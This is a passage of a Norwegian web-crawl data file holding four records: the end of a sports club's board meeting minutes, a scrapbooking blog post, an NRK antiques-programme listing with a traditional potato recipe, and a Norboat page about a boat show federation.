medlemmer. Enkelte s\u00f8knader b\u00f8r forbedres. Adm/styreleder ser n\u00f8ye p\u00e5 s\u00f8knadsskjemaene ift forbedring. Sak 10 (A) Ansatte-situasjonen Erik Oksavik har 50 % stilling i AAIK og 50 % i Basketballforbundet. Stillingen i Basketballforbundet forsvinner pr 1. juli 2012 pga \u00f8konomiske problemer i forbundet. Erik er en meget god og nyttig medarbeider som har ansvaret for v\u00e5re to leirer. L\u00f8nnen som AAIK er ansvarlig for, dekkes av leirene, og han er en nyttig medarbeider ogs\u00e5 p\u00e5 andre omr\u00e5der. Vi har diskutert \u00e5 utvide leirtilbudet v\u00e5rt, og vil gjerne ha styrets mening/aksept for \u00e5 jobbe videre med et leir- og treningssamlingsprogram som b\u00e5de kan tilby idrettsungdom et bredere tilbud, samt s\u00f8rge for \u00f8konomisk grunnlag for Eriks stilling. Forslag til vedtak: Styret vil avvente saken i p\u00e5vente av hvordan Eriks arbeidssituasjon blir. Utvikling av nye leirkonsepter m\u00e5 skje innenfor tildelte budsjetter. P\u00e5 neste m\u00f8te orienteres det om utviklingen. Dersom situasjonen krever det, tas det kontakt med resten av styret pr mail. Sak 11 (A) Representasjonsoppgaver 23. mai: Styrem\u00f8te i KIA, Fylkeshuset i Arendal kl 13. Svein + Gunnar m\u00f8ter 6. juni: Trenerseminar i forbindelse med ATLETICA Idrettens Treningssenter AS 09. juni: Ekstraordin\u00e6rt Idrettsting Stj\u00f8rdal 9. juni, 3 delegater, (Gunnar, Trond og Anne) fra AAIK m\u00f8ter samt org.sjef juni: Lederm\u00f8te NIF: Svein + Trond m\u00f8ter S\u00f8ndag 12. august: Grimstad Powerboatshow (2 vm-runder og 1 Verdensmesterskap). Julie m\u00f8ter. Flere kan melde sin interesse fremover. Svein gir beskjed til arrang\u00f8r sept: Idrettskretsm\u00f8te p\u00e5 Gj\u00f8vik. Svein og Kirsten m\u00f8ter M\u00f8tet slutt kl 22:00 etter godt engasjement og god deltakelse fra alle medlemmer.\n\n\n\n", "language": "no", "__index_level_0__": "890a7be5-1cf7-4a57-9979-3951772e1288"}
{"url": "http://hilderk.blogspot.com/2011/02/skissedilla-97.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:29:10Z", "text": "## s\u00f8ndag 6. februar 2011\n\n### Skissedilla \\# 97\n\nNy skisse p\u00e5 skissedilla som m\u00e5tte pr\u00f8ves ut.  \n  \n\n\nDenne gangen ble det en veldig enkel l\u00f8sning. Men, jeg syntes de bl\u00e5 blomstene hentet frem hvitfargen i bildene. Bildene er fra turen vi hadde til Island. V\u00e6ret var ikke helt p\u00e5 topp, her med Gullfoss var det nesten sn\u00f8storm. Men, naturen var fantastisk og det var absolutt en utrolig opplevelse \u00e5 reise rundt p\u00e5 Saga\u00f8ya.\n\n18:07              \n\n", "language": "no", "__index_level_0__": "debcbfb5-ba15-4acd-aed2-ec30594b4b6b"}
{"url": "http://arkiv.nrk.no/programoversikt/avansert/index1338.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:23:24Z", "text": "NRK1 tirsdag 14. mars kl 20.00  \nAntikviteter & snurrepiperier (4:8)  \n  \nSekkjep\u00e5se og lekehester i tre  \n  \nGerd Wicklund Hansen og Frode Aga skal lage sekkjep\u00e5se i kveldens program. Dette er en gammel matrett fra Romsdalstraktene. Ellers i programmet skal vi m\u00f8te Tore Sandvik fra Oslo som samler p\u00e5 gamle lekehester i tre. I Antikvitetskroken til Ellen \u00d8rnes f\u00e5r vi blant annet se n\u00e6rmere p\u00e5 en gammel primstav og to gamle trykkblokker til \u00e5 trykke m\u00f8nster p\u00e5 tekstiler med.  \n  \nI hvert program denne vinteren og v\u00e5ren har programleder Kjell Fuglehaug med seg en gammel gjenstand som seerne skal gjette hva er. I kveld er gjenstanden en liten utsk\u00e5ret \\\\\"rangle\\\\\", og de tre forklaringene seerne f\u00e5r \u00e5 gruble p\u00e5, er enten en gammel barnerangle, en \\\\\"gannestav\\\\\" eller en \\\\\"n\u00f8stepinne\\\\\".  \n  \nEllers blir det som vanlig en del gode mynttips fra Jakob B\u00f8, og et par gamle viser fra den norske sangskatten, framf\u00f8rt av Veslem\u00f8y Solberg og Sven Ohrvik.  \n  \nRetten sekkjep\u00e5se best\u00e5r av r\u00e5, malte poteter, rester fra spekemat, salt flesk eller kj\u00f8tt - blandet sammen og kokt i et klede eller en liten \\\\\"serkk\\\\\".  \n  \nSekkjep\u00e5se  \n  \n700 g r\u00e5 potet  \n1 middels l\u00f8k  \n175 g kj\u00f8ttdeig  \n125 g kj\u00f8ttrester (helst spekekj\u00f8tt)  \nen og en halv ts salt  \nen halv ts pepper  \nen halv ts timian  \n2 toppede ss hvetemel  \n  \nPotetene males sammen med l\u00f8ken. Bland finhakket kj\u00f8ttdeig og finhakkede kj\u00f8ttrester sammen med krydder og hvetemel. Legg blandingen i et v\u00e5tt klede. Form det som en p\u00f8lse. Knyt kledet i hver ende og legg det i kokende lettsaltet vann. Kokes i en time. Serveres med k\u00e5lrabi.  \n  \nNRK1 tirsdag kl 20.00  \n  \nBilledtekster:  \n1\\. Kjell Fuglehaug er programleder for \\\\\"Antikviteter & snurrepiperier\\\\\" (Foto: Truls L\u00f8tvedt)  \n  \n2\\. Frode Aga og Gerd Wicklund Hansen l\u00e6rer Kjell Fuglehaug \u00e5 lage den gamle retten \\\\\"Sekkjep\u00e5se\\\\\" (Foto: Truls L\u00f8tvedt)  \n  \n3\\. Ellen \u00d8rnes og Kjell Fuglehaug er klar med flere antikviteter (Foto: Truls L\u00f8tvedt)  \n  \n4\\. Tore Sandvik samler p\u00e5 gamle lekehester i tre (Foto: Truls L\u00f8tvedt)  \n  \n5\\. Den gamle matretten \\\\\"Sekkjep\u00e5se\\\\\" (Foto: Truls L\u00f8tvedt)  \n  \nProgramleder Kjell Fuglehaug  \nProsjektleder Ole-Bj\u00f8rn Kringstad  \n  \n", "language": "no", "__index_level_0__": "db671673-e346-462a-bd19-3e3c3cf3b427"}
{"url": "http://www.norboat.no/om-norboat/ifbso/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:40:42Z", "text": "# IFBSO\n\n**The International Federation of Boat Show Organisers representerer verdens ledende b\u00e5tmesser og bidrar til utvikling av b\u00e5tmesser og marine messer over hele verden.**\n\nNorboat's messer B\u00e5ter i sj\u00f8en og Sj\u00f8en for alle er begge medlemmer av IFBSO.\n\nIFBSO har \u00e5rlige samlinger hvor alle messearrang\u00f8rene m\u00f8tes for \u00e5 dele erfaringer og oppdateringer p\u00e5 hvilke utfordringer og muligheter hvert land st\u00e5r overfor i denne sammenheng.\n\nI tillegg har de nordiske messene en egen gruppe - IFBSO Nordic - hvor arrang\u00f8rene av messene i Fredericia, G\u00f8teborg, Helsingfors, Oslo og Stockholm deltar. Dette gir en unik mulighet til \u00e5 f\u00e5 utbytte av hverandres ressurser, kompetanse og erfaringer og er en god arena for produktutvikling.\n\n\u00a0\nDu finner informasjon og oversikt over alle medlemslandene p\u00e5 ifbso.com\n\n##### Norboat\n\nNorboat er B\u00e5tbransjeforbundet i Norge. Vi representerer den norske fritidsb\u00e5tbransjen. Norboats m\u00e5l er \u00e5 skape best mulige ramme-betingelser for b\u00e5tbransje og b\u00e5tliv. Norboat er ogs\u00e5 en h\u00f8ringsinstans og samarbeidspartner for offentlige etater og andre b\u00e5tlivs-organisasjoner.\n\n", "language": "no", "__index_level_0__": "46379453-f861-4ede-8436-8c0759c9b439"}